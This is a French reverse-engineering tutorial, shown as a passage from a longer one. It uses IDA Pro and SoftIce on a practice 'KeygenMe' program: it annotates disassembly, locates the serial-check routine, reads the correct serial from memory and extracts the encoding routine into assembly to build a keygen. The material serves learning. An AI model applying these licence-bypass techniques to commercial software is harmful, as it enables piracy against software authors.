.text:00404391                 lea     eax, [ebp+Msg]
.text:00404394                 push    eax             ; lpMsg
.text:00404395                 call    DispatchMessageA
.text:0040439A                 jmp     BoucleDesMessages
.text:0040439C ; ---------------------------------------------------------------------------
.text:0040439C
.text:0040439C SortieDeLaBoucle:                             ; CODE XREF: WinMain+2ADj
.text:0040439C                 mov     eax, [ebp+Msg.wParam]
.text:0040439F                 leave
.text:004043A0                 retn    10h
.text:004043A0 WinMain         endp

On a vu tout ce qui avait de l'importance pour nous dans cette procédure.

WinProc :

WinProc est l'autre fonction incontournable. Son rôle comme vous le savez certainement est de seconder WinMain. En fait c'est elle qui reçoit et traite les Messages Windows (WM_) distribués par WinMain. Il y a dans un programme autant de WinProc ou son équivalent DlgProc (pour les DialogBox) qu'il y a de fenêtres différententes constituant ce programme. Y a juste un petit problème, IDA n'a reconnu aucune function WinProc.

Revenez dans WinMain, on sait qu'elle transmet des messages à WinProc donc quelque part elle doit y faire référence. C'est toujours la même chanson, l'adresse de WinProc fait partie d'un des paramètres de la structure (wc) WNDCLASSEXA utilisée par l'API RegisterClass. Bon on s'en fout, ce qui est important c'est qu'au début de WinMain on trouve toujours la déclaration de cette structure (wc) et l'un de ses membre est celui qu'on cherche.

.text:004040ED mov [ebp+wc.lpfnWndProc], offset sub_4043A3   ; C'est lui

Donc sub_4043A3 n'est autre que WinProc alors pourquoi ne pas le renommer tout de suite.

Redescendez à la fin de WinMain et vous verrez que la procédure qui la suivait c'était (vous avez deviné ?) WinProc justement.
Les messages reçus par WinProc sont toujours placés dans la structure Msg qu'IDA à reconnue, ça tombe bien. On a dit que le rôle de cette procédure était de traiter les messages que WinMain lui transmet. Donc on va retouver des comparaisons entre le membre Msg et d'autres valeurs. Valeurs qui vous l'avez compris représentent des Messages Windows (WM_)

Attribution des symboles :

Des comparaisons avec Msg, on en trouve deux justement.

.text:004043A9                 cmp     [ebp+Msg], 2
 ...
.text:004043BB                 cmp     [ebp+Msg], 111h
Les valeurs 2 et 111h représentent donc deux Messages Windows (WM_). On les appelle aussi "Constantes Symboliques" car en programmation on préfère les remplacer par des Noms bien significatifs plutôt que de simples nombres qui ne nous disent pas grand choses. IDA est également capable de le faire, et ça rendra tout de suite plus clair le code. Donc faisons-le.

Placez vous sur le chiffre 2 et avec le MENU CONTEXTUEL : Use standard symbolic constant
Ou bien MENU : Edit --> Operand type --> Enum member...

La fenêtre des Enumérations (ou des Constantes Symboliques, c'est la même chose) s'ouvre et IDA vous propose tout un pannel de Symbols ayant pour valeur 2. Celui qu'on cherche et l'unique, c'est un Message Windows donc il commence forcément par WM_. Je vous laisse le sélectionné.

Faîtes la même chose avec la valeur 111h. Cette fois-ci IDA vous le propose directement car il est loin d'être con et se doute bien qu'on est toujours à la recherche du même type de Symbole. Vous devriez obtenir ceci.

.text:004043A9                 cmp     [ebp+Msg], WM_DESTROY
 ...
.text:004043BB                 cmp     [ebp+Msg], WM_COMMAND

Au point où nous en sommes j'aimerai faire une aparté. La valeur 00000111h est tout à fait remarquable. Dans un programme c'est l'endroit où sont traités les commandes, en particulier les actions sur le menu ou les boutons de la fenêtre en question. Donc quelques lignes plus bas vous retrouverer toujours le code qui concerne votre menu et boutons. Une autre valeur ramarquable est 00000110h. C'est la constante WM_INITDIALOG. Elle est utilisée lors de l'ouverture et de l'initialisation du programme. Quelques lignes en dessous on y retrouve donc souvant des fonctions CreateWindow servant à la créations des différents objets constituant la fenêtre, tels ses boutons et champs de saisit. Dans ce programme ce n'est pas le cas car ils on déjà été définit dans WinMain, cependant ce n'est pas vraiment réglementaire.

Descendez un peu dans WinProc. On voit deux appels de la fonction MessageBox. Une pour le message de réussite l'autre en cas de sérial incorrect. Et juste au-dessus d'eux, deux CALL suivit d'un test de comparaison puis du saut de direction vers l'une ou l'autre de ces MessageBox. Je ne vous cache pas qu'en traçant furtivement avec SoftIce l'intérieur de ces deux CALL, on s'aperçoit que le premier a pour fonction de récupérer le contenu du champs Name et de le crypter puis de le verser dans un buffer. Le second CALL, sert à récupérer le contenu du champs Serial et le comparer avec le contenu placé dans le buffer.

Donc renommez les deux sauts autour des MessageBox ainsi que les deux CALL intéressants.

.text:004043F4                 call    Codage_Name
.text:004043F9                 call    Compar_NameC_Serial
.text:004043FE                 test    eax, eax
.text:00404400                 jnz     short SerialCorrecte
.text:00404402                 push    0               ; uType
.text:00404404                 push    offset aError   ; lpCaption
.text:00404409                 push    offset aWrongSerial ; lpText
.text:0040440E                 push    [ebp+hWnd]      ; hWnd
.text:00404411                 call    MessageBoxA
.text:00404416                 jmp     short SerialEtaitIncorrecte
.text:00404418 ; ---------------------------------------------------------------------------
.text:00404418
.text:00404418 SerialCorrecte:                         ; CODE XREF: WinProc+5Dj
.text:00404418                 push    0               ; uType
.text:0040441A                 push    offset aSuccess ; lpCaption
.text:0040441F                 push    offset aGoodJobSerialF ; lpText
.text:00404424                 push    [ebp+hWnd]      ; hWnd
.text:00404427                 call    MessageBoxA
.text:0040442C
.text:0040442C SerialEtaitIncorrecte:                  ; CODE XREF: WinProc+73j
En réalité, même sans SoftIce on peut vite comprendre le rôle de ces deux call rien qu'en les analysant un peu. Voyez plutôt.

Procédure Codage_Name :

Entrez dans Codage_Name.

.text:0040444A Codage_Name     proc near               ; CODE XREF: WinProc+51p
.text:0040444A                 push    32h             ; nMaxCount
.text:0040444C                 push    offset String   ; lpString
.text:00404451                 push    hEditName       ; hWnd
.text:00404457                 call    GetWindowTextA
.text:0040445C                 or      eax, eax
.text:0040445E                 jz      short locret_4044A8
.text:00404460                 push    offset String
.text:00404465                 push    eax
.text:00404466                 push    offset unk_40656C
.text:0040446B                 call    sub_401000
.text:00404470                 mov     esi, offset unk_40656C
La première chose qui saute aux yeux, c'est la variable hEditName qu'on avait déclaré dans WinMain. Et bien la revoici car IDA a propager cette information à travers tout le programme. Du coup, on comprend immédiatement que la fonction GetWindowText va récupérer le contenu du champs Name et le placer dans la variable String. Alors autant la renommer tout de suite avec un nom plus explicite tel que StringName.

Ensuite on a un call dont on ignore tout. On sait juste qu'il prend trois arguments dont le premier (String) est le contenu de ce qu'on avait tapé dans le champs Name, et eax sa taille car GetWindowText retourne toujours dans eax la taille des chaîne de caractères qu'il récupère. (Le saut au dessus sert donc à savoir si cette chaine était vide ou non). Le troisième paramètre unk_40656C on ne sait rien sur lui !??! Cependant on le retrouve sous ce même call qui l'a appelé.
En traçant ce call sans entrer dedans on se rend compte que le mystérieux unk_40656C reçoit une chaîne de caractères vraiment bizzare. On sait donc que ce call en entré utilise la chaîne qu'on a tapé dans le champs Name, puis sa longueur, et en sortie il retourne une étrange autre chaîne.

Ce call sert donc à crypter le champs Name et à placer le résultat dans unk_40656C. On renomme tout ça ?

.text:0040444A Codage_Name     proc near                 ; CODE XREF: WinProc+51p
.text:0040444A                 push    32h               ; nMaxCount
.text:0040444C                 push    offset StringName ; lpString
.text:00404451                 push    hEditName         ; hWnd
.text:00404457                 call    GetWindowTextA
.text:0040445C                 or      eax, eax
.text:0040445E                 jz      short ChampNameEstVide
.text:00404460                 push    offset StringName ; contenu du champs Name
.text:00404465                 push    eax               ; taille de cette chaîne
.text:00404466                 push    offset NameC      ; Name une fois codé par le call qui l'appelle
.text:0040446B                 call    TransformationDuCode
.text:00404470                 mov     esi, offset NameC

Ce qui suit c'est une petite boucle qui utilise le Name Codé (NameC) et lui fait subir un traitement quelconque pour au final en resortir une valeur spécifique de eax. En fait eax devient une empreinte personnelle du membre NameC.

.text:00404479 BoucleExtrayantEAX:                        ; CODE XREF: Codage_Name+44j
.text:00404479                 xor     ebx, ebx
.text:0040447B                 mov     bl, [ecx+esi]   ; bl = tour à tour chaque lettre de NameC
.text:0040447E                 test    bl, bl          ; Si plus de lettres on sort de la boucle
.text:00404480                 jz      FinDesCaracteresDeNameC
.text:00404482                 imul    ebx, ecx        ; Le petit traitement
.text:00404485                 imul    ebx, ebx        ; en
.text:00404488                 add     ebx, 50h        ; trois lignes.
.text:0040448B                 add     eax, ebx        ; au final le traitement est placé dans eax.
.text:0040448D                 inc     ecx
.text:0040448E                 jmp     BoucleExtrayantEAX
En dernière étape on fait subir un dernier traitement à eax (on le xor simplement) puis on le transforme en une chaîne de caractères au format décimal.

.text:00404490 FinDesCaracteresDeNameC:
.text:00404490                 xor     eax, 12345678h  ; un dernier traitement pour la route
.text:00404495                 push    eax
.text:00404496                 push    offset aLu      ; "%lu"  ça c'est le format de transformation décimal
.text:0040449B                 push    offset dword_40676C
.text:004044A0                 call    wsprintfA
.text:004044A5                 add     esp, 0Ch
.text:004044A8
.text:004044A8 ChampNameEstVide:                       ; CODE XREF: Codage_Name+14j
.text:004044A8                 retn
.text:004044A8 Codage_Name     endp
Le résultat de cette transformation est donc une chaîne de caractères déposée dans dword_40676C. Donc renommons là avec un nom plus explicite tel que NameFinal puisque c'est la fin du traitement sur le champs Name.

Si vous vous souvenez bien des deux call, après que le premier appelle la procédure Codage_Name ci-dessus, le second appelle la procédure Compar_NameC_Serial (qui justement est à suivre) pour pouvoir comparé le résultat avec le Serial tapé.

Procédure Compar_NameC_Serial :

Elle commence par récupérer le sérial qu'on avait tapé.

.text:004044A9 Compar_NameC_Serial proc near                  ; CODE XREF: WinProc+56p
.text:004044A9                 push    32h                    ; nMaxCount
.text:004044AB                 push    offset dword_40636C    ; lpString
.text:004044B0                 push    hEditSerial            ; hWnd
.text:004044B6                 call    GetWindowTextA
.text:004044BB                 or      eax, eax
.text:004044BD                 jz      short locret_4044E8
On voit que la fonction GetWindowText va récupérer le contenu du champ Serial et le placé à l'adresse dword_40636C donc renommez le tout de suite en tant que Serial. Renommez également le saut qui suis en SerialVideOuCorrecte.

La petite boucle qui suit vérifie simplement si NameFinal et Serial sont identiques.

.text:004044C7 CmpNameFinalSerial:                     ; CODE XREF: Compar_NameC_Serial+34j
.text:004044C7                 mov     edx, Serial[ecx]
.text:004044CD                 mov     ebx, NameFinal[ecx]
.text:004044D3                 xor     edx, ebx
.text:004044D5                 jnz     short SerialIncorrecte
.text:004044D7                 add     ecx, 4
.text:004044DA                 inc     edi
.text:004044DB                 cmp     edi, eax
.text:004044DD                 jl      short CmpNameFinalSerial
.text:004044DF                 mov     eax, 1          ; Serial correcte
.text:004044E4                 jmp     short SerialVideOuCorrecte
.text:004044E6 ; ---------------------------------------------------------------------------
.text:004044E6
.text:004044E6 SerialIncorrecte:                       ; CODE XREF: Compar_NameC_Serial+2Cj
.text:004044E6                 xor     eax, eax        ; Serial incorrecte
.text:004044E8
.text:004044E8 SerialVideOuCorrecte:                   ; CODE XREF: Compar_NameC_Serial+14j
.text:004044E8                                         ; Compar_NameC_Serial+3Bj
.text:004044E8                 retn
.text:004044E8 Compar_NameC_Serial endp

On voit que NameFinal est directement comparé au Serial sans que ce dernier ne subisse aucun traitement. Donc NameFinal est la chaîne de caractères qui doit être entrée dans le champs Serial pour que les deux correspondent. Donc un simple BPX 004044CD par exemple. Puis un d 0040676C devrait nous trouver le bon sérial.

Et ça fonctionne :

Name : Morgatte
Serial : 525918282

Ida2Sice :

C'est de loin la fonction la plus intéressante d'IDA car il transmet tout le travail que vous avez fait sous IDA vers Softice. Mais c'est un plugin et donc vous ne l'avez peut-être pas encore puisque c'est un rajout fait à IDA. Vous pouvez l'obtenir en recherchant sur le web un fichier du nom de "ida2sice" écrit par "Mostek".

Mise en place :

- ouvrez le dossier correspondant à votre version d'IDA : pour moi c'est la 4.50
- deplacer son contenu (i2s.plw) dans le répertoire PLUGINS d' IDA
- ouvrez le fichier plugins.cfg pour le modifier
- à la fin de ce fichier inscrivez les lignes suivantes:

Load_PDB_File pdb Alt-F12 0 ; This line is just for those that have pdb.plw in IDA\Plugins dir.
; By default it uses Ctrl-F12 and that one we want to have for us.
I2S_Setup i2s Ctrl-F12 2
I2S_Save_NMS i2s Shift-F12 1
I2S_Conversion i2s F12 0

- Refermez puis rouvrez IDA et le MENU : Edit -> Plugins contiendra les nouvelles options d'IDA

Vous pouvez maintenant exporter vos script IDA vers Softice.
C'est assez simple à faire. Une fois que vous avez fait votre travail sous IDA sauvegardez-le.

- File -> Save
- Edit -> Plugins -> I2S Save NMS

Maintenant on s'occupe de SoftIce. On ouvre le Loader de Softice.

- File -> Open Module : LeProgramme.exe
- File -> Open Module : LeProgramme.nms
- File -> Open Module : LeProgramme.exe (En général il faut le recherger sinon il ne veut pas se lancer)
- Module -> Load

Commencez à tracer, vous verrez que Softice à récupéré le script d'IDA. C'est vraiment très fort comme association.
Même les commentaires sont présents donc servez-vous en le plus possible.

Vous vous souvenez que pour voir le sérial on a posé un BPX 004044CD puis un d 0040676C. Et bien maintenant que le script IDA est présent sous SoftIce et qu'on a renommé pas mal de variables, dont 0040676C en NameFinal et bien un simple BPX 004044CD puis d NameFinal fonctionne parfaitement.

Les références rajoutées :

Toujours plus fort!!!
IDA est vraiment formidable. Virez d'abord tous les BPX de SoftIce et tapez D uneaddressequelconque pour ne plus voir le bon sérial.
On va faire en sorte de poser une référence dans IDA pour pouvoir la retrouver sous SoftIce tel un véritable phare.

Maintenant on le sait, en 004043F9h on sort de la procédure qui vient de calculé le bon sérial (il s'agit de NameFinal)

.text:004043F4                 call    Codage_Name
.text:004043F9                 call    Compar_NameC_Serial
.text:004043FE                 test    eax, eax
.text:00404400                 jnz     short SautSurSerialCorrect

Méthode 1 :

Posez votre curseur dessus. Et cliquez sur le bouton Open cross references window (ou bien le MENU : View --> Open subviews --> Cross references)
La fenêtre des références s'ouvre. Elle est vide car aucun jmp ni call ne pointent sur cette adresse 004043F9h. Cependant on peut en rajouter nous même, et c'est ce qu'on va faire. Touche 'Ins' ou bien MENU CONTEXTUEL : Add cross-reference.
Une fenêtre avec deux champs de saisit s'ouvre. Le premier champs est l'adresse de la ligne pour laquelle on souhaite faire un lien avec l'adresse où nous sommes. Remettez la même adresse dans les deux champs. Il n'y aura pas de saut ni rien d'autre mais juste une nouvelle référence de créée puisqu'il s'agit d'un lien entre deux adresses (Même si ici le lien se fait sur lui-même). Vous pouvez refermer cette fenêtre.
Revenez au code. Et renommez la nouvelle localisation : ex : LieuDuSerial:

Méthode 2 :

En réalité les cross ref n'étaient pas une étape obligatoire, mais c'était une bonne manière de comprendre de quoi il s'agissait. Il vous suffit simplement de vous placer sur l'adresse 004043F9h et de la renommer (LieuDuSerial)

Final :

.text:004043F4                 call    Codage_Name

.text:004043F9  LieuDuSerial:  call    Compar_NameC_Serial
.text:004043FE                 test    eax, eax
.text:00404400                 jnz     short SautSurSerialCorrect
Et bien maintenant si vous exportez de nouveau votre scripte d'IDA vers SoftIce. Pour obtenir le bon Sérial il vous suffit de poser un :
BPX LieuDuSerial puis D NameFinal et le tour est joué. Cette méthode vaut vraiment le coup d'être connue car dans un grand programme vous pouvez définir de multiples localisations aux noms très explicites bien plus parlant qu'une tripoté de bpx adresses où on finit par ne plus savoir qui est quoi. En marquant leur label sur un bout de papier, vous pourrez ensuite savoir de quels BP vous disposez sous SoftIce. Servez vous en comme des points clef dans vos programmes. Oh que je l'aime cet IDA!!! (Merci bien Mr Mostek - il ne décolle pas du board de programmation du site d'Iczelion).

Création du Keygen :

Pfffou!!! C'est la partie le plus complèxe... mais aussi la plus intéressante. Et également celle où vous allez en apprendre un peu plus sur IDA.

On a tout vu dans ce KeygenMe pour maintenant pouvoir réaliser son Keygen. Tout ? Non ! Un call d'irréductibles lignes de codes résiste encore et toujours à notre analyse. Ce call on le connait, c'est lui :

.text:00404460                 push    offset StringName
.text:00404465                 push    eax             ; taille de StringName
.text:00404466                 push    offset NameC
.text:0040446B                 call    TransformationDuCode
.text:00404470                 mov     esi, offset NameC
Je vous rafraichit la mémoire, c'est la partie de code qui est juste à la suite de la fonction GetWindowText servant à récupérer le contenu du champs Name. Sa fonction c'était de passer à la moulinette ce que l'utilisateur a tapé dans la zone de saisie Name pour au final en resortir une autre chaîne de caractères bizzare qui n'était autre qu'un Name Codé, que j'ai nommé NameC. On a vu globalement ce que faisait ce call, mais on est jamais entré dedans pour voir son travail en détail. Pour faire un keygen il va pourtant bien falloir le disséquer (tout comprendre) ou tout au moins le simuler (juste le résultat compte). On a un problème de taille, ce call est énorme il s'étend sur 3041 bytes soit les 2/3 de la taille totale de KeygenMe. Le Second problème c'est que cette procédure dans ses dernières lignes en appelle une autre qu'on va donc également devoir traiter.
Pourtant pour créer le Keygen on a absolument besoin de la recopier dans notre source *.asm. Pour récupérer correctement cette procédure il faut être méthodique et ne pas se précipiter tête baissée en faisant un copier/coller de bourin. IDA met à notre disposition des outils bien utiles.

Entrez dans la procédure TransformationDuCode. La première chose de remarcable c'est qu'elle utilise trois arguments (les trois push ci-dessus). Donc au niveau de sa pile on doit les retrouver. Renommons les tout de suite.

.text:00401000 TransformationDuCode proc near
.text:00401000
.text:00401000 chaineCodee     = dword ptr  4          ; provenant du push NameC
.text:00401000 taille          = dword ptr  8          ; provenant du push eax
.text:00401000 chaineEntree    = dword ptr  0Ch        ; provenant du push StringName
.text:00401000
.text:00401000                 pusha
.text:00401001                 mov     dword_406890, esp
.text:00401007                 cld
.text:00401008                 mov     ecx, [esp+20h+taille]
.text:0040100C                 mov     esi, [esp+20h+chaineEntree]
.text:00401010                 mov     dword_406884, ecx
.text:00401016                 or      dword_406888, 0FFFFFFFFh
.text:0040101D                 mov     dword_40688C, ecx
.text:00401023                 mov     dword_406804, 6A09E667h
La seconde chose à prendre en compte, c'est toutes la panoplie de variables dont se sert cette procédure. (les dword_.... et unk_....(éventuellement les word_... et byte_... mais il n'y en a pas ici)). Une fois dans votre source asm il faudra bien qu'ils correspondent à quelque chose, ils ne sont pas là comme ça par hasard. Il faudra également les déclarer dans les sections .data ou .data? de votre source sinon vous n'allez pas aller bien loin. Il faudra aussi connaître leur format, parce que si vous les définissez dans vos .data mais qu'ils ne sont pas au bon format, inscrire une chaîne de caractères dans un dword ça va pas bien se passer.

Commençons le traitement. Recherchez tour à tour tous les dword_ ou unk_ (y a pas de word_ ni de byte_) et remplacez les par un nom de variable plus explicite. Le fait d'effectuer ce travail c'est simplement pour rendre le code plus lisible et surtout pour n'oublier aucune des variables utilisées par cette procédure.

.text:00401000 TransformationDuCode proc near
.text:00401000
.text:00401000 chaineCodee     = dword ptr  4          ; provenant du push NameC
.text:00401000 taille          = dword ptr  8          ; provenant du push eax
.text:00401000 chaineEntree    = dword ptr  0Ch        ; provenant du push StringName
.text:00401000
.text:00401000                 pusha
.text:00401001                 mov     var0, esp
.text:00401007                 cld
.text:00401008                 mov     ecx, [esp+20h+taille]
.text:0040100C                 mov     esi, [esp+20h+chaineEntree]
.text:00401010                 mov     var1, ecx
.text:00401016                 or      var2, 0FFFFFFFFh
.text:0040101D                 mov     var3, ecx
.text:00401023                 mov     var4, 6A09E667h
Pour ma part j'ai trouvé un pannel s'étendant de var0 à var36 dont l'un d'eux était du type unk_ avant modification.
A la fin de cette procédure on trouve un autre call appelant une sous routine. Donc il faut aussi s'en occuper. Renommez ce call en SousRoutineDeTransformation et effectuez le même traitement pour elle (on trouve une dernière variable var37. Les autres étant déjà utilisées par notre procédure TransformationDuCode).

.text:00403FF8 loc_403FF8:                             ; CODE XREF: TransformationDuCode+7Aj
.text:00403FF8                 cmp     var2, 0
.text:00403FFF                 jz      short loc_404011
.text:00404001                 mov     esp, var0
.text:00404007                 call    SousRoutineDeTransformation
.text:0040400C                 jmp     loc_401073

Outil de recherche :

Vérifiez qu'aucune variable ne vous a échappé. Pour ça utilisez l'outil de recherche : sélectionnez l'option 'Text' dans la liste déroulante 'Type of search' et dans l'autre liste déroulante à ses côtés tapez : 'dword_'. Du coup toutes les occurences de ce label sont surlignés en rouge à travers tout le programme. Si vous en retrouvez un à travers une de vos deux procédures c'est que vous l'aviez loupé. Faîtes la même chose en tapant les labels 'unk_', 'word_', 'byte_' (et 'fword_' et 'qword_' on ne sait jamais).

Enfin tout est propre, on va pouvoir recopier ces deux procédures dans notre source *.asm. Ne faîtes pas un copier/coller car sinon les offsets devant chaque ligne d'instructions vont aussi être pris et il vous faudra plus tard dans la source asm supprimer pour chacune d'elles le .text:offset. Beuuuur!

Outil assembleur :

Sélectionnez l'intégralité des deux procédures comme si vous souhaitiez les copier, puis : MENU : File --> Produce --> Create ASM File
Wooouuu! vous avez ouvert le fichier nouvellement créé ? Pas mal hein, c'est exactement ce qu'on voulait. Les offsets ont sauté mais pas les labels des sauts, ce qui fait qu'ils restent valides.

(Fichier *.asm)

TransformationDuCode proc near		; CODE XREF: Codage_Name+21p

; chaineCodee	= dword	ptr  4
; taille	    = dword	ptr  8
; chaineEntree	= dword	ptr  0Ch

        pushad
        mov	var0, esp
        cld
        mov	ecx, [esp+20h+taille]
        mov	esi, [esp+20h+chaineEntree]
        mov	var1, ecx
        or	var2, 0FFFFFFFFh
        mov	var3, ecx
        mov	var4, 6A09E667h
Un seul détail reste à règler, IDA a laissé l'affichage de la pile à notre intention (en jaune). Mais ça ne devrait pas rester là normalement car dans le code d'un programme ça n'a aucun sens d'afficher les arguments passés à la cette fonction. Donc supprimez-les ou bien mettez-les en tant que commentaire en plaçant de ; devant comme je l'ai fait.
Attention cependant, ce n'est pas le cas pour cette procédure mais si elle avait également utilisée des variables locales, alors elles auraient aussi été affichées au niveau de la pile. Mais pour elles, il n'aurait pas fallut les mettre en commentaire. Au contraire il aurait fallut le déclarer.
Ex : LOCAL myVarLoc:DWORD
Ou : LOCAL myChaine[200]:BYTE

C'est presque terminé.

Toujours dans le fichier *.asm il nous faut maintenant déclarer les variables au niveau de .data et .data?
Donc retrournez sous IDA et cliquez sur une des variables de var0 à var37 pour arriver dans la section .data d'IDA. On voit qu'il a bien vu qu'elles étaient toutes de type dword, sauf var36 qui se trouve à perpète au-dessus du groupe et est de format byte.

.data:00406784 var36           db    0 ;               ; DATA XREF: TransformationDuCode+3039o
.data:00406784                                         ; SousRoutineDeTransformation+1Co ...
.data:00406785                 db    0 ;
...
.data:00406802                 db    0 ;
.data:00406803                 db    0 ;
.data:00406804 var4            dd ?                    ; DATA XREF: TransformationDuCode+23w
.data:00406804                                         ; TransformationDuCode+80r ...
.data:00406808 var5            dd ?                    ; DATA XREF: TransformationDuCode+2Dw
.data:00406808                                         ; TransformationDuCode+85r ...
.data:0040680C var6            dd ?                    ; DATA XREF: TransformationDuCode+37w
.data:0040680C
var36 est donc un buffer de type byte initialement mis à 0.

L'outil calculatrice :

Cliquez sur l'outil calculatrice et tapez ceci : 0x00406804-0x00406784 (ce sont de 'x' et non pas de '*'). Résultat = 80h ou 128 décimal
Positionnez vous sur le début de var36 et cliquez sur le bouton * (ou MENU : Edit --> Array) puis tapez 128 pour redéfinir var36 comme étant un buffer de 128 bytes nuls.

Seconde chose, toutes les variables sont là, mise à part var37. En fait elle à été définit directement dans le code et vaut 8. Mais normalement elle aurait dû se trouver avec les autres.
.text:004040A4 var37 dd 8       ; Vous voyez elle est dans la section .text et non pas .data
Sélectionnez le bloque de variables et exportez-le sous forme de fichier asm comme tout à l'heure. Placez-les dans les .data et .data? du scripte asm qu'on a déjà commencé.

Ca donne ça, Il faudra rajouter var37 à la main ne l'oubliez pas.

.data
  var37                dd 8
  var36                db 128 dup(0)

.data?
  var4                 dd ?
  var5                 dd ?
  var6                 dd ?
  var7                 dd ?
  var8                 dd ?
  var9                 dd ?
  var10                dd ?
  var11                dd ?
  var12                dd ?
  var13                dd ?
  var14                dd ?
  var15                dd ?
  var16                dd ?
  var17                dd ?
  var18                dd ?
  var19                dd ?
  var20                dd ?
  var21                dd ?
  var22                dd ?
  var23                dd ?
  var24                dd ?
  var25                dd ?
  var26                dd ?
  var27                dd ?
  var28                dd ?
  var29                dd ?
  var30                dd ?
  var31                dd ?
  var32                dd ?
  var33                dd ?
  var34                dd ?
  var35                dd ?
  var1                 dd ?
  var2                 dd ?
  var3                 dd ?
  var0                 dd ?
Il est très important de garder le même ordre que celui d'IDA car si par exemple le bout de code créant le sérial écrivait quelque chose à l'offset de var35 et que ce quelque chose dépassait les capacités de var35 alors c'est var1 qui reçoit le reste. Et si les variables ont été replacées par ordre croissant par vos soins et bien forcément ce ne sera plus var1 qui recevra le reste mais var36, et là ça change tout pour le calcul du sérial.

Voilà vous avez récupéré la plus grosse partie du programme servant à générer le sérial. Jetez un coup d'oeil à la source asm que j'ai reconstituée si vous voulez. Vous y retrouverez tout ce dont on a parlé. Dedant Il n'y a aucun secrets pour vous. Le reste vous savez c'était juste l'utilisation de la fonction GetWindowText pour récupérer les champs Name et Serial puis deux ou trois pretites boucles de traitement derrière, donc rien de bien méchant.

En Aparté :

Ce qui suit ne concerne plus vraiment le KeygenMe. Mais puisque ce tut est avant tout destiné à l'utilisation d'IDA, il reste une chose très importante qu'on a pas vu encore et ce serait dommage de pas l'aborder. Ce sont les déclarations de fonctions et leurs structures.
Ici IDA a su reconnaitre plus ou moins (car pas forcément leur noms) toutes les procédures utilisées (en tout cas leur piles étaient correctes). Mais vous pouvez très bien tomber sur un programme utilisant une procédure pas du tout reconnue par IDA. Et dans ce cas, ce sera à vous de la renommer, de redéfinir les paramètres qu'utilise sa pile et éventuellement certains de ces paramètres ne seront pas des dword ou des bytes mais carrément des structures comme c'est le cas dans WinMain (structure WNDCLASSEX est bien sur la pile)

.text:004040D9 ; int __stdcall WinMain(HINSTANCE hInstance)
.text:004040D9 WinMain         proc near               ; CODE XREF: start+26p
.text:004040D9
.text:004040D9 hWnd            = dword ptr -50h
.text:004040D9 Msg             = MSG ptr -4Ch
.text:004040D9 wc              = WNDCLASSEXA ptr -30h
.text:004040D9 hInstance       = dword ptr  8
.text:004040D9
.text:004040D9                 push    ebp
.text:004040DA                 mov     ebp, esp
On va donc s'entrainer sur WinMain. D'abord on va faire en sorte qu'IDA ne reconnaisse plus rien dans elle. Comme si c'était une procédure rencontrée pour la première fois.

Placez vous au début de WinMain puis cliquez sur le bouton 'Convert to undefined (U)'. Tout WinMain n'est plus qu'un enchevêtrement de bytes.
Restez placé au début de WinMain puis cliquez sur le bouton 'Convert to instructions (C)'. On retouve du code mais dépouillé de tous les éléments précédemment reconnus.

Vous voyez que ce n'est même plus une procédure car le PROC n'est plus présent. Redéfinissez WinMain en tant que procédure (fonction). Pour ça :
MENU CONTEXTUEL : Create function... ou bien
MENU : Edit --> Functions --> Create function...

Vous avez vu ? Un semblant de pile a été reconstitué. A l'étape où nous en sommes, c'est exactement ce type de code que vous risquez de trouvez quand IDA rencontre une procédure dont il ne connait pas grand choses. Le reste c'est à vous de le rétablir à la main comme nous nous apprétons à le faire.

A la découverte des constituants de la pile :

.text:004040D9 ; int __stdcall WinMain(HINSTANCE hInstance)
.text:004040D9 WinMain         proc near               ; CODE XREF: start+26p
.text:004040D9
.text:004040D9 var_50            = dword ptr -50h
.text:004040D9 var_4C            = byte ptr -4Ch
.text:004040D9 var_44            = dword_ptr -44h
.text:004040D9 var_30            = dword ptr -30h
.text:004040D9 var_2C            = dword ptr -2Ch
.text:004040D9 var_28            = dword ptr -28h
.text:004040D9 var_24            = dword ptr -24h
.text:004040D9 var_20            = dword ptr -20h
.text:004040D9 var_1C            = dword ptr -1Ch
.text:004040D9 var_18            = dword ptr -18h
.text:004040D9 var_14            = dword ptr -14h
.text:004040D9 var_10            = dword ptr -10h
.text:004040D9 var_C             = dword ptr -0Ch
.text:004040D9 var_8             = dword ptr -8
.text:004040D9 var_4             = dword ptr -4
.text:004040D9 arg_0             = dword ptr 8
.text:004040D9
.text:004040D9                 push    ebp
.text:004040DA                 mov     ebp, esp
Comment retrouver les composants de la pile d'une procédure dont on ignore tout ? Il n'y a qu'un seul moyen c'est de regarder les fonctions qui sont utilisées et retrouver celles qui se servent des paramettres poussés sur la pile. Les fonctions qui ont des paramètres sur la piles sont celles qui directement (un push) ou indirectement (un mov puis un push) utilisent ebp+quelquechose. La raison c'est que ebp est le pointeur de base de la pile et donc tous les ebp+qqchose représentent un élément de la pile. Dans cette procédure on trouve en particulier une fonction RegisterClassEx qui illustre tout à fait ce que je viens de dire.

.text:00404145                 lea     eax, [ebp+var_30]
.text:00404148                 push    eax                         ; WNDCLASSEXA *
.text:00404149                 call    RegisterClassExA
D'après la référence Win32API cette fonction ne prend qu'un seul argument, lequel est un pointeur vers une structure WNDCLASSEX (d'ailleur IDA ne s'y est pas trompé) Puisque d'après le push c'est eax qui pointe dessus alors on en déduit grâce à la ligne précédente que var_30 représente cette structure. Ne vous occupez jamais de ebp c'est juste le pointeur de base de la pile. Faîtes comme si c'était un fantome ne vous en occupez jamais. C'est un peu comme un changement de repère si je peux utiliser cette image.
Remontez au niveau de la pile sur le membre var_30. Puisqu'on sait qu'il s'agit de la structure WNDCLASSEX alors attribuons lui cette forme.

Cliquez sur le petit triangle bas du bouton 'offset dat' et choisissez 'Offset (struct)...' ou bien sur :
MENU : Edit --> Operand type --> Offset --> Offset (struct)...
Mettez 0 car c'est le premier membre de la structure en question. Son point de base.
Reste à choisir la bonne structure : ici WNDCLASSEX. (Ou WNDCLASSEXA.cbSize c'est le membre 0 donc le début de la structure)
Si aucune structure n'avait été disponible vous auriez dû d'abord ouvrir la fenêtre des structures et en ajouter une avec 'ins' puis rechercher la bonne (ici WNDCLASSEX) dans la liste proposée. Vous pouvez également créer vous propre structures, et ça arrivera.

.text:004040D9 ; int __stdcall WinMain(HINSTANCE hInstance)
.text:004040D9 WinMain         proc near               ; CODE XREF: start+26p
.text:004040D9
.text:004040D9 var_50            = dword ptr -50h
.text:004040D9 var_4C            = byte ptr -4Ch
.text:004040D9 var_44            = dword_ptr -44h
.text:004040D9 var_30            = WNDCLASSEXA         ; renommez var_30 en wc
.text:004040D9 arg_0             = dword ptr 8
.text:004040D9
.text:004040D9                 push    ebp
.text:004040DA                 mov     ebp, esp

